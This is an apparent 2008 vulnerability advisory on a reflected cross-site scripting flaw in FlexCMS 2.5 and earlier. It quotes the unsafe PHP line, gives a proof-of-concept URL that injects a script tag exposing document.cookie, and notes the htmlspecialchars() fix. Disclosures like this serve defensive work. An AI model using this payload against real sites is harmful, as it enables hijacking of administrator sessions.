FlexCMS <= 2.5 Cross Site Scripting Vulnerability

2008-08-18T00:00:00
ID SECURITYVULNS:DOC:20372
Type securityvulns
Reporter Securityvulns
Modified 2008-08-18T00:00:00

Description


Script : FlexCMS <= 2.5

Type : Cross Site Scripting Vulnerability

Alert : Low


Download From : http://www.flexcms.com/


Discovered by : Khashayar Fereidani Or Dr.Crash

My Website : HTTP://FEREIDANI.IR

Team Website : Http://IRCRASH.COM

Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com


Cross Site Scripting Vulnerability :

File Name : inc-core-admin-editor-previouscolorsjs.php

Vulnerable Variable : PreviousColorsString

Send Method : GET

Register_globals : On

Dangerous PHP Code (LINE 53) : print 'document.write(\''.$PreviousColorsString.'\');';

Address : http://example/inc-core-admin-editor-previouscolorsjs.php?PreviousColorsString=<script>alert(document.cookie)</script>

Attacker can hijack admin cookie with this vulnerability ....

Solution for patch : filter PreviousColorsString variable with htmlspecialchars() function ...


                    Tnx : God

                 HTTP://IRCRASH.COM